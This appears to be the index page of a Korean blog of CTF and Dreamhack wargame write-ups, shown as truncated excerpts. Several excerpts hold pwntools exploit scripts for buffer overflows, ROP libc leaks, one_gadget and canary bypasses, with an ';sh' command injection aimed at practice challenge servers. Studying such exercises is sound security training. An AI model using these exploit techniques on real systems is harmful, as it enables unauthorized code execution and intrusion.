anonymous?

#!/usr/bin/python from pwn import * #p = process("./basic_exploitation_001") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_001") read_flag = elf.symbols['read_flag'] p.sendline('A'*(0x80+4) + p32(read_flag)) p.interactive()

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:10

#!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x86") p = remote("host1.dreamhack.games", 8235) elf = ELF("./basic_rop_x86") libc = ELF("./libc.so.6") pop_ebx = 0x80486a6 pay = 'A'*(0x44+0x4) pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts']) pay += p32(elf.symbols['main']) p.send(pay) p.recvuntil('A'*0x40) leak = u32(p.recvuntil('\xf7')) ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:09

A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다. 그리고 return address->onegadget하면 쉘 획득! #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x64") p = remote("host1.dreamhack.games", 8248) elf = ELF("./basic_rop_x64") libc = elf.libc pop_rdi = 0x00400883 pay = '..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:06

코드에서 v5가 0이 아니면 exit을 한다. 따라서 buf(24) | v5(8) | SFP(8) | RET(8) 구조인데 ‘A’*24 + p64(0) + ‘B”*8 + p64(one_gadget)으로 페이로드를 줘서 if 조건을 넘어가고 return 0로 리턴하도록 한다. #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./oneshot") p = remote("host1.dreamhack.games", 8246) elf = ELF("./oneshot") libc = ELF("./libc.so.6") one_gadget_off = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.recvunt..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:55

32비트에서 size_t는 4바이트. int형은 항상 4바이트 __int16은 16-bit 정수이다. short형과 동의어이다. 2바이트 P 메뉴에서 취약점 : v7 변수에서 index만큼 위치한 곳의 값을 출력해준다. canary 위치와의 offset을 계산하여 인덱스를 구하면 canary leak이 가능하다. E 메뉴에서 취약점 : nbytes 크기 정해져 있지 않으므로 v8에서 BOF 취약점 발생. P에서 canary leak 후 E에서 canary 위치에 canary 주고 return address에 get_shell 주면 된다. unsigned __int8 = 1바이트 따라서 0x41이 한 인덱스 카나리 위치까지는 0x84일 것. 1. 카나리 leak하는 방법 한 바이트씩 str로 출력되므로 처..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:53

이 문제 생각 많이 했는데 카나리를 leak해서 return address를 get_shell로 덮는 복잡한 방법이 아니라 카나리 변조 시 __stack_chk_fail 함수가 호출되는 것을 이용해서 카나리를 덮은 후 v4에 __stack_chk_fail got를 주고 v5에 get_shell 주소를 주면 종료 시 get_shell이 실행되어 쉘이 따진다. #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./ssp_000") p = remote("host1.dreamhack.games", 8244) elf = ELF("./ssp_000") get_shell = elf.symbols['get_shell'] p.sen..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:50

from pwn import * p = process("./rop-fa6168f4d8eba0eb") not_called = 0x8048a4 pay = 'A'*0x88 + 'B'*4 + p32(not_called) p.send(pay) p.interactive()

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:47

일단 sh를 쉘에 입력하면 쉘이 뜨는 것을 알고 sh 명령어를 사용할 수 있으면 되겠다고 생각했다. 근데 ls %s 로 명령어를 실행해서 어떻게 하면 ls한 후 sh를 실행하도록 할까 시도를 계속해보다가 ls ; sh 로 입력하면 ls 명령어를 실행한 후 sh 명령어를 실행하도록 할 수 있었다. 따라서 입력할 때 ;sh로 주면 ls ;sh로 명령어가 실행되서 쉘을 실행시킬 수 있다. #!/usr/bin/python from pwn import * p = process("./pwn5") p.sendafter("pass to ls:\n", ';sh') p.interactive() ; sh로 주면 h가 잘려서 ;sh로 붙여서 줘야 제대로 쉘이 따진다.

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:44

스택은 임시 데이터를 저장하는 공간이다. 메모리에서 계속 데이터를 가져오기보다, 스택에 저장해서 접근하는 방식이다. 빈번하게 사용하는 데이터를 레지스터에 넣는다. 함수 프롤로그와 에필로그에서 스택 포인터를 조정한 후, 스택 포인터를 사용해서 데이터를 push하고 pop한다. x86 Stack Frame Intel x86 Stack Frame은 아래로 커진다. (high address -> low address 방향으로) 즉, 메모리 상의 임의의 주소부터 더 낮은 주소 아래로 자란다. 따라서 x86에서 스택의 맨 위를 말한다면 스택이 메모리에서 차지하는 주소의 공간 중 가장 낮은 곳을 말한다. (가장 낮은 주소) x86에서는 ESP(Extended Stack Pointer) 레지스터가 스택과 함께 작동한다..

SYSTEM HACKING/Exploit Tech 2020. 5. 30. 16:22

int read_input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((const char *)&buf); } int menu() { puts("1. vuln"); puts("2. print"); puts("3. quit"); return printf("> "); } int useful_function() { void *v0; // ST08_8 v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf"); return printf("printf() addr: %p\n", v0); } int Init() { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(..

SYSTEM HACKING/CTF, etc 2020. 5. 28. 15:00

포인트를 50으로 만들고, ‘SuNiNaTaS’로 만들라고 한다. User-Agent 가 나와있다. User Agent는 애플리케이션 타입, 운영체제, 소프트웨어 vendor/version 등의 정보를 알려준다. 개발자 도구로 본 소스코드 상에는 별다른 코드 (submit() 같은..) 가 없어서, User-Agent를 써야 할 것 같다. 포인트를 25까지 올리면 위와 같은 창이 뜨면서 초기화는 되지 않고 그 이후로 Plus를 눌러도 Plus 되지 않고 Point가 25인 상태가 유지된다. 일단 User-Agent를 SuNiNaTaS로 바꿀 방법을 찾아보자. User-Agent는 브라우저를 식별하고 내가 방문하는 사이트의 서버에게 시스템에 대한 정보를 주는 문자열 값이다. User-Agent는 개발자들이..

WEB HACKING/Suninatas 2020. 5. 27. 23:21

# 보호기법 확인 # Process Leave_ret 주소 : 0x8048504 Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc pop_ret : 0x804836d(으로 사용함) pop_pop_pop_ret : 0x8048569 puts_system_offset : 0x24f00 puts_binsh_offset : 0xfbd6b # Exploit Code from pwn import * p = process("./migration") elf = ELF("./migration") dynamic = 0x8049efc buf = dynamic + 0x600 buf2 = dynamic + 0x800 p3ret = 0x8048569 p1..

SYSTEM HACKING/CTF, etc 2020. 5. 27. 11:57